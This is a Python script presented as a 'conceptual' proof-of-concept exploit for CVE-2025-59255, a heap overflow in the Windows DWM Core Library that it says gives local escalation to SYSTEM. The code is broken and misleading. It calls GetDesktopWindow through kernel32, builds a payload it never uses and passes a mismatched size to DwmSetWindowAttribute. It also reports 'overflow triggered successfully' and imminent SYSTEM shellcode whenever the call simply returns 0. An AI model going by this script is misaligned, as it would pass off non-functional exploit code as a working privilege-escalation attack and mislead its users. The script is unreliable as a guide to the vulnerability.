The following code is for security research and authorized testing only.
python
# CVE-2025-59255 - Windows DWM Core Library Heap-based Buffer Overflow PoC (Conceptual)
# This is a conceptual PoC demonstrating the exploitation approach for the
# heap-based buffer overflow vulnerability in Windows DWM Core Library.
# The vulnerability allows local privilege escalation to SYSTEM level.
import ctypes
import struct
import sys
from ctypes import wintypes
# Load necessary Windows DLLs
dwmapi = ctypes.windll.dwmapi
kernel32 = ctypes.windll.kernel32
# DWM API constants
DWMWA_NCRENDERING_ENABLED = 1
DWMWA_CAPTION_BUTTON_BOUNDS = 5
def trigger_dwm_overflow(hwnd):
"""
Trigger the heap-based buffer overflow in DWM Core Library
by sending malformed data through DWM API calls.
"""
# Craft oversized buffer to overflow DWM internal heap allocation
overflow_size = 0x10000 # 64KB - exceeds normal DWM buffer size
payload = b"\x41" * overflow_size # Fill with controlled data
# Attempt to trigger vulnerability via DWM API
# The specific API call and parameters would need to match the
# vulnerable code path in dwmcore.dll
try:
# This is a conceptual call - actual exploitation requires
# reverse engineering of the specific vulnerable function
result = dwmapi.DwmSetWindowAttribute(
hwnd,
DWMWA_CAPTION_BUTTON_BOUNDS,
ctypes.byref(ctypes.c_long(0)),
overflow_size # Oversized size parameter triggers overflow
)
return result
except Exception as e:
print(f"[-] Exploitation failed: {e}
")
return -1
def main():
print("[*] CVE-2025-59255 - DWM Core Library Heap Overflow PoC")
print("[*] Target: Windows DWM Core Library")
print("[*] Goal: Local Privilege Escalation to SYSTEM
")
# Get desktop window handle
hwnd = kernel32.GetDesktopWindow()
if not hwnd:
print("[-] Failed to get desktop window handle")
sys.exit(1)
print(f"[*] Desktop HWND: {hex(hwnd)}")
print("[*] Attempting to trigger heap buffer overflow...")
result = trigger_dwm_overflow(hwnd)
if result == 0:
print("[+] Overflow triggered successfully")
print("[+] Shellcode execution would now occur with SYSTEM privileges")
else:
print("[-] Could not trigger overflow - system may be patched")
if __name__ == "__main__":
main()
# Note: This is a conceptual demonstration. Actual exploitation requires:
# 1. Detailed reverse engineering of dwmcore.dll vulnerable function
# 2. Heap spray/grooming for reliable exploitation
# 3. Bypass of modern mitigations (DEP, ASLR, CFG, etc.)
# 4. Token stealing shellcode for privilege escalation